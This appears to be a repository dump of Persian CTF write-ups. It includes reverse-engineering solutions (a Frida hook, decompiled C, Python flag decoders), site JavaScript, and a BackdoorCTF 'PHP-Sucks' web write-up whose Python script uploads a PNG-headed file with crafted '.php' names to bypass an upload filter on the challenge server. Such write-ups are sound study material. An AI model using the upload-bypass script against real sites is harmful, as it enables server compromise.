/docs/pwn/writeups/2024/SnappCTF/Snapp_admin5.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/pwn/writeups/2024/SnappCTF/Snapp_admin5.png -------------------------------------------------------------------------------- /docs/pwn/writeups/2024/SnappCTF/Snappshell-1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/pwn/writeups/2024/SnappCTF/Snappshell-1.png -------------------------------------------------------------------------------- /docs/pwn/writeups/2024/SnappCTF/Snappshell-2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/pwn/writeups/2024/SnappCTF/Snappshell-2.png -------------------------------------------------------------------------------- /docs/pwn/writeups/2024/SnappCTF/Snappshell-3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/pwn/writeups/2024/SnappCTF/Snappshell-3.png -------------------------------------------------------------------------------- /docs/pwn/writeups/2024/SnappCTF/Snappshell-4.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/pwn/writeups/2024/SnappCTF/Snappshell-4.png -------------------------------------------------------------------------------- /docs/pwn/writeups/2024/SnappCTF/Snappshell-5.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/pwn/writeups/2024/SnappCTF/Snappshell-5.png -------------------------------------------------------------------------------- /docs/pwn/writeups/2024/SnappCTF/Snappshell-6.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/pwn/writeups/2024/SnappCTF/Snappshell-6.png -------------------------------------------------------------------------------- /docs/reverse/Tools/binja-logo.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/reverse/Tools/binja-logo.jpg -------------------------------------------------------------------------------- /docs/reverse/Tools/ghidra.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/reverse/Tools/ghidra.jpg -------------------------------------------------------------------------------- /docs/reverse/Tools/ida_pro.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/reverse/Tools/ida_pro.jpg -------------------------------------------------------------------------------- /docs/reverse/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | icon: material/cog-clockwise 3 | --- 4 | # مهندسی معکوس 5 | 6 | برنامه نویسا چیکار میکنن؟ 7 | 8 | یه برنامه به زبون های مختلف مینویسن و اگه زبونی که باهاش برنامه مینویسن، کامپایلری باشه، یه کامپایلر میاد و کد هاشون رو تبدیل به زبان اسمبلی میکنه که برای انسان خوندنش خیلی سخته 9 | 10 | اینجاس که ما وارد عمل میشیم و با خوندن زبان ماشین و اسمبلی، منطق کد رو درک میکنیم 11 | 12 | فک کنم تا الان فهمیده باشین که ما انسان های عادی نیستیم 13 | 14 | ما مهندسان معکوس هستیم :fire: -------------------------------------------------------------------------------- /docs/reverse/writeups/2023/BackdoorCTF/Sl4ydroid.md: -------------------------------------------------------------------------------- 1 | --- 2 | tags: 3 | - BackdoorCTF 4 | - BackdoorCTF-2023 5 | - Reverse 6 | - Android 7 | - Frida 8 | - Hooking 9 | --- 10 | 11 | # چالش Sl4ydroid 12 | 13 | با هوک کردن تابعی که تو آدرس `0x23820` وجود داره، میتونیم به تیکه های فلگ دست پیدا کنیم 14 | ```js linenums="1" 15 | var awaitForCondition = function (callback) { 16 | var int = setInterval(function () { 17 | var addr = Module.findBaseAddress("libsl4ydroid.so"); 18 | if (addr) { 19 | console.log("SO Address found:", addr); 20 | clearInterval(int); 21 | callback(addr); 22 | return; 23 | } 24 | }, 0); 25 | }; 26 | awaitForCondition(function (baseAddr) { 27 | Interceptor.attach(baseAddr.add(0x23820), { 28 | onEnter: function(args) { 29 | console.log(args[0].readUtf8String()) 30 | }, 31 | 32 | }); 33 | Interceptor.flush(); 34 | }); 35 | ``` 36 | با ابزار فریدا میتونیم هوک رو انجام بدیم 37 | ```bash 38 | frida -U -f com.backdoor.sl4ydroid -l Sl4ydroid.js 39 | ``` -------------------------------------------------------------------------------- /docs/reverse/writeups/2024/BSidesSF/TuringComplete.PNG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/reverse/writeups/2024/BSidesSF/TuringComplete.PNG -------------------------------------------------------------------------------- /docs/reverse/writeups/2024/BSidesSF/shinji-1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/reverse/writeups/2024/BSidesSF/shinji-1.png -------------------------------------------------------------------------------- /docs/reverse/writeups/2024/BSidesSF/wishing-well-1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/reverse/writeups/2024/BSidesSF/wishing-well-1.png -------------------------------------------------------------------------------- /docs/reverse/writeups/2024/BSidesSF/wishing-well-2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/reverse/writeups/2024/BSidesSF/wishing-well-2.png -------------------------------------------------------------------------------- /docs/reverse/writeups/2024/DUCTF/jmp_1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/reverse/writeups/2024/DUCTF/jmp_1.png -------------------------------------------------------------------------------- /docs/reverse/writeups/2024/DUCTF/jmp_cover.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/reverse/writeups/2024/DUCTF/jmp_cover.png -------------------------------------------------------------------------------- /docs/reverse/writeups/2024/DUCTF/mashing.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/reverse/writeups/2024/DUCTF/mashing.png -------------------------------------------------------------------------------- /docs/reverse/writeups/2024/DUCTF/number_mashing.md: -------------------------------------------------------------------------------- 1 | --- 2 | tags: 3 | - DownUnderCTF 4 | - DownUnderCTF-2024 5 | - Reverse 6 | --- 7 | 8 | # چالش number mashing 9 | --- 10 | 11 |
12 | ![challenge cover.png](./mashing.png) 13 |
14 | 15 | فایل باینری ضمیمه‌شده رو به دیکامپایلر میدیم و خروجی رو چک می‌کنیم. با حذف قسمتای غیر مهم و فقط نگه داشتن منطق اصلی برنامه، شبه کد زیر رو می‌بینیم. 16 | 17 | ```C 18 | undefined8 main(void) 19 | 20 | { 21 | int local_11c; 22 | int local_118; 23 | int local_114; 24 | FILE *local_110; 25 | setvbuf(_stdout,(char *)0x0,2,0); 26 | setvbuf(_stdin,(char *)0x0,2,0); 27 | printf("Give me some numbers: "); 28 | __isoc99_scanf("%d %d",&local_11c,&local_118); 29 | if (((local_11c == 0) || (local_118 == 0)) || (local_118 == 1)) { 30 | puts("Nope!"); 31 | exit(1); 32 | } 33 | local_114 = 0; 34 | if (local_118 != 0) { 35 | local_114 = local_11c / local_118; 36 | } 37 | if (local_114 != local_11c) 38 | puts("Nope!"); 39 | local_110 = fopen("flag.txt","r"); 40 | fread(&local_108,1,0x100,local_110); 41 | printf("Correct! %s\n",&local_108); 42 | return 0; 43 | } 44 | ``` 45 | 46 | در واقع این برنامه، دو عدد int32 را از کاربر ورودی می‌گیرد و چک می‌کند که آیا حاصل تقسیم عدد اول بر عدد دوم، برابر عدد اول می‌شود یا خیر. همچنین برای سخت‌تر کردن کار و جلوگیری از خطای تقسیم صفر، بررسی می‌کنه که صورت برابر 0 و یا مخرج برابر 0 یا 1 نباشه و در غیر این صورت از برنامه خارج می‌شه. از دید ریاضی و در تقسیم اعداد صحیح و با فرض اینکه پاسخ همیشه به سمت 0 گرد می‌شود، به نظر میاد پیدا کردن همچین جفت عددی باید ناممکن باشه. اما نکته اینجاست که ما در دنیای باینری کامپیوترها، تعداد محدودی بیت داریم و از قواعد خاصی برای نمایش اعداد پیروی می‌کنیم. در سیستم complement 2's تعداد اعداد منفی یکی بیشتر از اعداد مثبت است و بنابراین کوچک‌ترین عدد ۳۲ بیتی منفی یعنی 2147483648 - در این سیستم نقیض ندارد و نقیضش خودش است. دلیل این موضوع این است که در نمایش باینری این عدد، با ارزش‌ترین بیت 1 و بقیه بیت‌ها 0 هستند. حال هنگام نقیض کردن، همه بیت‌ها را عکس و سپس عدد را با 1 جمع کنیم، مجددا با همان نمایش عددی می‌رسیم. بنابراین اگر این عدد را در ۱- ضرب و یا بر آن تقسیم کنیم، همچنان حاصل برابر خودش است. با دادن این ورودی‌ها به برنامه ریموت روی سرور، مقدار فلگ با موفقیت به دست می‌آید. 47 | 48 | --- 49 | ??? success "FLAG :triangular_flag_on_post:" 50 |
`DUCTF{w0w_y0u_just_br0ke_math!!}`
51 | 52 | 53 | !!! نویسنده 54 | [Sadegh](https://github.com/sadegh-majidi) 55 | 56 | -------------------------------------------------------------------------------- /docs/reverse/writeups/2024/ImaginaryCTF/BF.PNG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/reverse/writeups/2024/ImaginaryCTF/BF.PNG -------------------------------------------------------------------------------- /docs/reverse/writeups/2024/ImaginaryCTF/unconditional.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/reverse/writeups/2024/ImaginaryCTF/unconditional.png -------------------------------------------------------------------------------- /docs/reverse/writeups/2024/Incognito_5.0/Vault.md: -------------------------------------------------------------------------------- 1 | # چالش Vault 2 | 3 | 🔗 [دانلود چلنج](https://github.com/sajjadium/ctf-archives/tree/main/ctfs/Incognito/2024/rev/Vault) 4 | 5 | 6 | ## نگاه اولیه به سوال 7 | 8 | 9 | در این سوال فقط به ما یک فایل با نام `challenge0` داده شده بود. 10 | در ابتدا برای اینکه بفهمیم با چه چیزی روبرو هستیم دستور file رو روش اجرا میکنیم 11 | 12 | ```bash 13 | $ file challenge0 14 | challenge0: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=050a91a2a787ea9b21439b9cae80e47848c472f7, for GNU/Linux 3.2.0, not stripped 15 | ``` 16 | 17 | ## تحلیل استاتیک 18 | 19 | 20 | خب بهمون یک فایل باینری 64بیتی داده شده، برا همین در ابتدا سراغ تحلیل استاتیک میریم و به کمک سایت دوست داشتنی [dogbolt](https://dogbolt.org) سعی میکنیم برنامه رو دیکامپایل کنیم و بفهمیم برنامه مدنظر چه کاری انجام میده. 21 | 22 | ??? info "دیکامپایلر چیست؟" 23 | 24 | یک دیکامپایلر برعکس یک کامپایلر عمل می کند! باینری ها را می گیرد و آنها را به کد منبع تبدیل می کند (با درجات مختلف موفقیت بسته به کامپایلر، تنظیمات کامپایلر، زبان، معماری، پیچیدگی و بسیاری عوامل دیگر). 25 | 26 | معمولا طبق تجربه Hex-Rays دیکامپایل های بهتری میده، در نتیجه بیاید به خروجیش نگاهی بندازیم: 27 | 28 | ```c 29 | _DWORD ascii_values_1[26] = {105, 99, 116, 102, 123, 119, 101, 108, 99, 48, 109, 101, 95, 116, 48, 95, 114, 101, 118, 51, 114, 115, 49, 110, 103, 125 }; 30 | _BYTE flagArray_0[32]; 31 | 32 | _BYTE *flag() 33 | { 34 | int i; 35 | for ( i = 0; i < 26; ++i ) 36 | flagArray_0[i] = ascii_values_1[i]; 37 | flagArray_0[26] = 0; 38 | return flagArray_0; 39 | } 40 | 41 | int __fastcall main(int argc, const char **argv, const char **envp) 42 | { 43 | const char *v3; 44 | const char *v4; 45 | char s1[112]; 46 | printf("Enter the secret code: "); 47 | __isoc99_scanf("%99s", s1); 48 | v3 = flag(); 49 | if ( !strcmp(s1, v3) ) 50 | { 51 | puts("Access Granted!"); 52 | v4 = flag(); 53 | puts(v4); 54 | } 55 | else 56 | { 57 | puts("Access Denied!"); 58 | } 59 | return 0; 60 | } 61 | ``` 62 | 63 | ## حل چالش 64 | 65 | 66 | 67 | خب از سورس کد میتوان دید که برنامه از ما یک رشته ورودی میگیره و با خروجی تابع flag مقایسه میکنه. 68 | در ادامه بسادگی با کد پایتونی زیر میتونیم فلگ رو در بیاریم 69 | 70 | ```python 71 | a = [105, 99, 116, 102, 123, 119, 101, 108, 99, 48, 109, 101, 95, 116, 48, 72 | 95, 114, 101, 118, 51, 114, 115, 49, 110, 103, 125] 73 | print(''.join(map(chr, a))) 74 | ``` 75 | 76 | 77 | --- 78 | ??? success "FLAG :triangular_flag_on_post:" 79 |
`ictf{welc0me_t0_rev3rs1ng}`
80 | 81 | 82 | !!! نویسنده 83 | [mheidari98](https://github.com/mheidari98) 84 | 85 | -------------------------------------------------------------------------------- /docs/reverse/writeups/2024/Incognito_5.0/Vault_2.md: -------------------------------------------------------------------------------- 1 | # چالش Vault 2 2 | 3 | 🔗 [دانلود چلنج](https://github.com/sajjadium/ctf-archives/tree/main/ctfs/Incognito/2024/rev/Vault_2) 4 | 5 | ## نگاه اولیه به سوال 6 | 7 | در این سوال فقط به ما یک فایل با نام `challenge1` داده شده بود. 8 | در ابتدا برای اینکه بفهمیم با چه چیزی روبرو هستیم دستور file رو روش اجرا میکنیم 9 | 10 | ```bash 11 | $ file challenge1 12 | challenge1: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=d15aa18d88517442ed4cf7a958d61093c455c645, for GNU/Linux 3.2.0, not stripped 13 | ``` 14 | 15 | 16 | ## تحلیل استاتیک 17 | 18 | 19 | خب بهمون یک فایل باینری 64بیتی داده شده، برا همین در ابتدا سراغ تحلیل استاتیک میریم و به کمک سایت دوست داشتنی [dogbolt](https://dogbolt.org) سعی میکنیم برنامه رو دیکامپایل کنیم و بفهمیم برنامه مدنظر چه کاری انجام میده 20 | 21 | طبق تجربه معمولا Hex-Rays(IDA Pro) دیکامپایل های بهتری خروجی میده، در نتیجه ابتدا به دیکامپایل آیدا نگاهی میندازیم و اگر بخشی از کد نامفهوم بود، به خروجی سایر دیکاپایلر ها نیز نگاهی میندازیم. 22 | خب پس بیاید به خروجی آیدا نگاهی بندازیم: 23 | 24 | 25 | 26 | ```c 27 | __int64 __fastcall mysteryFunction(__int64 a1) 28 | { 29 | __int64 result; 30 | int i; 31 | 32 | for ( i = 0; ; ++i ) 33 | { 34 | result = *(unsigned __int8 *)(i + a1); 35 | if ( !(_BYTE)result ) 36 | break; 37 | *(_BYTE *)(i + a1) ^= (unsigned __int8)(i % 5) + 1; 38 | } 39 | return result; 40 | } 41 | 42 | _BOOL8 __fastcall checkFlag(const char *a1) 43 | { 44 | char dest[128]; 45 | char s2[32]; 46 | qmemcpy(s2, "hawb~w6q5dcn0[n2", 16); 47 | *(_QWORD *)&s2[15] = 0x7F73357C5C7B32LL; 48 | strncpy(dest, a1, 0x80uLL); 49 | mysteryFunction((__int64)dest); 50 | return strncmp(dest, s2, 0x17uLL) == 0; 51 | } 52 | 53 | 54 | int __fastcall main(int argc, const char **argv, const char **envp) 55 | { 56 | char v4[128]; 57 | puts("Enter the flag:"); 58 | if ( (unsigned int)__isoc99_scanf("%127s", v4) ) 59 | { 60 | if ( checkFlag(v4) ) 61 | puts("Congratulations! You've solved the challenge."); 62 | else 63 | puts("Incorrect flag. Try again!"); 64 | } 65 | return 0; 66 | } 67 | ``` 68 | 69 | خب از سورس کد میتوان دید که برنامه یک رشته ورودی از ما میگیره و پاس میده به تابع `checkFlag` 70 | اونجا ورودی ما به تابع `mysteryFunction` پاس داده میشه و خروجیش با یک رشته خاص مقایسه میشه. 71 | تو تابع `mysteryFunction` میاد رو رشته ورودی یکسری xor انجام میده و خروجیش برگردونده میشه. 72 | 73 | 74 | متاسفانه تو خروجی IDA رشته‌ای که در انتها مقایسه میشه درست نمایش داده نشده و میتوان از خروجی BinaryNinja کمک گرفت. 75 | ```c 76 | uint64_t checkFlag(char* arg1) 77 | { 78 | int64_t var_28; 79 | __builtin_strcpy(&var_28, "hawb~w6q5dcn0[n2{\\|5s\x7f"); 80 | void var_a8; 81 | strncpy(&var_a8, arg1, 0x80); 82 | mysteryFunction(&var_a8); 83 | int32_t rax; 84 | rax = strncmp(&var_a8, &var_28, 0x17) == 0; 85 | return rax; 86 | } 87 | ``` 88 | 89 | ## حل چالش 90 | 91 | 92 | در انتها به سادگی با کد پایتونی زیر میتونیم فلگ رو بدست در بیاریم 93 | 94 | ```python 95 | #s = b"hawb~w6q5dcn0[n" + bytes.fromhex('7F73357C5C7B32')[::-1] 96 | s = b"hawb~w6q5dcn0[n2{\\|5s\x7f" 97 | for i, c in enumerate(s): 98 | print(chr(c^(i%5+1) ), end='') 99 | ``` 100 | 101 | 102 | 103 | --- 104 | ??? success "FLAG :triangular_flag_on_post:" 105 |
`ictf{v4r1abl3_k3y_x0r}`
106 | 107 | 108 | !!! نویسنده 109 | [mheidari98](https://github.com/mheidari98) 110 | 111 | -------------------------------------------------------------------------------- /docs/reverse/writeups/2024/SnappCTF/TurnOB.PNG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/reverse/writeups/2024/SnappCTF/TurnOB.PNG -------------------------------------------------------------------------------- /docs/reverse/writeups/2024/SnappCTF/TurnOB.md: -------------------------------------------------------------------------------- 1 | --- 2 | tags: 3 | - SnappCTF 4 | - SnappCTF-2024 5 | - Reverse 6 | --- 7 | 8 | 9 | # چالش TurnOB 10 | 11 |
12 | ![TurnOB](TurnOB.PNG) 13 |
14 | 15 | ## نگاه اولیه به سوال 16 | 17 | در این سوال به ما دو فایل داده شده. یک متن رمز شده فلگ و یک فایل باینری رمزکننده که طبق گفته سوال ظاهرا از کاربر ورودی میگیره و رمز شدش رو برامون پرینت میکنه. 18 | ```bash 19 | > file * 20 | flag.enc: ASCII text, with no line terminators 21 | turnob: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=60dbfb0af3f9c3f987d055cfc11f6da40cdbcf75, for GNU/Linux 3.2.0, stripped 22 | 23 | > cat flag.enc 24 | 5c:1b:72:35:35:64:5c:6d:95:ef:69:a6:d6:09:f8:6d:bc:9d:f8:99:16:0e:d5:f8:16:f0:7a:a1:d2:09:aa:f8:a2:bb:f8:8c:d2:7e:a7:% 25 | ``` 26 | 27 | ## روش حل 28 | با چندبار اجرا کردن برنامه و دادن ورودی های مختلف میشه مشاهده کرد که هر کارکتر ورودی کاربر، به یک رشته منحصر به فرد مپ شده. 29 | برای مثال در دستور زیر مشاهده میکنیم که حرف `a` به رشته `12`، حرف `b` به رشته `1f` و حرف `c` به رشته `2c` انکد میشن. 30 | ```bash 31 | > echo -n 'abc' | ./turnob 32 | 12:1f:2c:% 33 | ``` 34 | 35 | در ادامه کافیه یک اسکریپت پایتونی بنویسیم و دیکشنری از تمام کارکترها و متن رمز متناظرشون بسازیم و متن رمز شده فلگ رو رمزگشایی کنیم و به فلگ برسیم 36 | 37 | ```py 38 | from string import printable 39 | from subprocess import Popen, PIPE, STDOUT 40 | 41 | p = Popen(['./turnob'], stdout=PIPE, stdin=PIPE, stderr=STDOUT) 42 | ans = p.communicate(input=printable.encode())[0].decode() 43 | 44 | 45 | d = {j:i for i, j in zip(printable, ans.split(':'))} 46 | 47 | with open("flag.enc") as f: 48 | s = f.read() 49 | 50 | for i in s.split(':')[:-1]: 51 | print(d[i], end='') 52 | ``` 53 | 54 | 55 | 56 | --- 57 | ??? success "FLAG :triangular_flag_on_post:" 58 |
`SNAPP{Sh0rTE5t_h3X_DuMp_u7il!tY_1n_C!}`
59 | 60 | 61 | !!! نویسنده 62 | [mheidari98](https://github.com/mheidari98) 63 | -------------------------------------------------------------------------------- /docs/reverse/writeups/2024/SnappCTF/blink-1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/reverse/writeups/2024/SnappCTF/blink-1.png -------------------------------------------------------------------------------- /docs/reverse/writeups/2024/SnappCTF/blink-2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/reverse/writeups/2024/SnappCTF/blink-2.png -------------------------------------------------------------------------------- /docs/reverse/writeups/2024/SnappCTF/blink-3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/reverse/writeups/2024/SnappCTF/blink-3.png -------------------------------------------------------------------------------- /docs/reverse/writeups/2024/SnappCTF/blink.md: -------------------------------------------------------------------------------- 1 | --- 2 | tags: 3 | - SnappCTF 4 | - SnappCTF-2024 5 | - Reverse 6 | --- 7 | 8 | # چالش Blink 9 | 10 | ![Bilink-1](blink-1.png) 11 | 12 | با این که این چالش تو دسته بندی ریورسه، اما خو کی حال داره کاکو؟ :joy: 13 | 14 | فقط تیکه اولش رو ریورس کردیم و فهمیدیم که یه ورودی میگیره و یه خروجی 15 | 16 | یه فایل سمپل ساختیم و طبق تصویر فهمیدیم این بلاگرفته داره چیکار میکنه 17 | 18 | ![Blink-1](blink-2.png) 19 | 20 | ```python linenums="1" 21 | import os 22 | for i in os.scandir('/tmp/Blink'): 23 | print() 24 | print(open("/tmp/Blink/" + i.name, 'r').read().replace('\n', ''), end='') 25 | ``` 26 | 27 | بعد با این اسکریپت میتونیم این فایلا رو زیر هم چاپ کنیم و در نهایت فلگ ساخته میشه 28 | 29 | ![Blink-2](blink-3.png) 30 | --- 31 | !!! نویسنده 32 | [SafaSafari](https://twitter.com/SafaSafari3) 33 | 34 | -------------------------------------------------------------------------------- /docs/reverse/writeups/2024/SnappCTF/r2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/reverse/writeups/2024/SnappCTF/r2.png -------------------------------------------------------------------------------- /docs/reverse/writeups/2024/SnappCTF/vitis.md: -------------------------------------------------------------------------------- 1 | --- 2 | tags: 3 | - SnappCTF 4 | - SnappCTF-2024 5 | - Reverse 6 | --- 7 | 8 | # چالش Vitis 9 | 10 | ![R2](r2.png) 11 | 12 | دیگه ساده تر از این نداریم =))) 13 | 14 | ??? success "FLAG :triangular_flag_on_post:" 15 |
`SNAPP{I_L0v3_WINE_1N_L!nUX!!!}`
16 | --- 17 | !!! نویسنده 18 | [SafaSafari](https://twitter.com/SafaSafari3) 19 | 20 | -------------------------------------------------------------------------------- /docs/reverse/writeups/2024/UIUCTF/summarize.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/reverse/writeups/2024/UIUCTF/summarize.png -------------------------------------------------------------------------------- /docs/static/css/Fonts/B-Traffic.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/static/css/Fonts/B-Traffic.ttf -------------------------------------------------------------------------------- /docs/static/css/Fonts/Bahij-Nazanin.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/static/css/Fonts/Bahij-Nazanin.ttf -------------------------------------------------------------------------------- /docs/static/css/Fonts/Diplomat.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/static/css/Fonts/Diplomat.ttf -------------------------------------------------------------------------------- /docs/static/css/Fonts/Gandom.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/static/css/Fonts/Gandom.ttf -------------------------------------------------------------------------------- /docs/static/css/Fonts/Irsans.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/static/css/Fonts/Irsans.ttf -------------------------------------------------------------------------------- /docs/static/css/Fonts/Samim.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/static/css/Fonts/Samim.ttf -------------------------------------------------------------------------------- /docs/static/css/Fonts/Vazir-Medium.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/static/css/Fonts/Vazir-Medium.ttf -------------------------------------------------------------------------------- /docs/static/css/Fonts/Vazir-Thin-FD-WOL.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/static/css/Fonts/Vazir-Thin-FD-WOL.ttf -------------------------------------------------------------------------------- /docs/static/css/Fonts/Yekan.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/static/css/Fonts/Yekan.ttf -------------------------------------------------------------------------------- /docs/static/img/logo.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/static/img/logo.jpg -------------------------------------------------------------------------------- /docs/static/js/extra.js: -------------------------------------------------------------------------------- 1 | window.MathJax = { 2 | tex2jax: { 3 | inlineMath: [ ["\\(","\\)"] ], 4 | displayMath: [ ["\\[","\\]"] ] 5 | }, 6 | TeX: { 7 | TagSide: "right", 8 | TagIndent: ".8em", 9 | MultLineWidth: "85%", 10 | equationNumbers: { 11 | autoNumber: "AMS", 12 | }, 13 | unicode: { 14 | fonts: "STIXGeneral,'Arial Unicode MS'" 15 | } 16 | }, 17 | showProcessingMessages: false, 18 | messageStyle: "none" 19 | }; 20 | window.addEventListener('load', function() { 21 | var p=localStorage.getItem("data-md-color-primary"); 22 | if (p){ 23 | document.body.setAttribute('data-md-color-primary',p); 24 | } 25 | var a=localStorage.getItem('data-md-color-accent'); 26 | if (a){ 27 | document.body.setAttribute('data-md-color-accent',a); 28 | } 29 | var s = localStorage.getItem('data-md-color-scheme'); 30 | if (s) { 31 | document.body.setAttribute('data-md-color-scheme', s); 32 | } 33 | }, false); 34 | 35 | 36 | document.addEventListener("DOMContentLoaded", function () { 37 | // Check if a font choice is saved in localStorage and apply it 38 | var savedFont = localStorage.getItem("data-md-font-family"); 39 | if (savedFont) { 40 | document.documentElement.style.setProperty('--md-text-font', savedFont); 41 | } 42 | }); 43 | 44 | 45 | var fontButtons = document.querySelectorAll("button[data-md-font-family]"); 46 | Array.prototype.forEach.call(fontButtons, function(button) { 47 | button.addEventListener("click", function() { 48 | document.documentElement.style.setProperty('--md-text-font', this.dataset.mdFontFamily); 49 | localStorage.setItem("data-md-font-family", this.dataset.mdFontFamily); 50 | }); 51 | }); 52 | 53 | 54 | pangu.spacingPageBody(); -------------------------------------------------------------------------------- /docs/steganography/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | icon: material/text-box-search-outline 3 | --- 4 | # Steganography 5 | -------------------------------------------------------------------------------- /docs/tags.md: -------------------------------------------------------------------------------- 1 | # برچسب ها 2 | 3 | در این بخش برچسب های موجود در رایتاپ ها قرار دارد تا بتوانید به راحتی رایتاپ های مختلف را بر اساس عنوان خاص دنبال کنید: 4 | 5 | [TAGS] 6 | -------------------------------------------------------------------------------- /docs/web/writeups/2023/BackdoorCTF/PHP-Sucks.md: -------------------------------------------------------------------------------- 1 | --- 2 | tags: 3 | - BackdoorCTF 4 | - BackdoorCTF-2023 5 | - Web 6 | - PHP 7 | - Uploader_Bypass 8 | --- 9 | 10 | [آرشیو چلنج](https://github.com/sajjadium/ctf-archives/tree/main/ctfs/BackdoorCTF/2023/web/php_sucks) 11 | 12 | ```python 13 | import re 14 | import requests 15 | 16 | file = io.BytesIO() 17 | file.write(bytes.fromhex("89 50 4E 47 0D 0A 1A 0A")) 18 | file.write(b'') 19 | for i in range(30, 40): # $ will work 20 | file.seek(0) 21 | name = 'ssss.php' + chr(i) + ".png" 22 | print(name) 23 | try: 24 | r = requests.post('http://34.132.132.69:8002/chal/upload.php', files=[('file', (name, file, 'image/jpeg'))], data={"submit": "", "name": "SS"}).content.decode() 25 | url = "http://34.132.132.69:8002/chal/" + re.search(r'`SNAPP{7dc998269394314896af6378f15c2c12}` 75 | 76 | 77 | !!! نویسنده 78 | 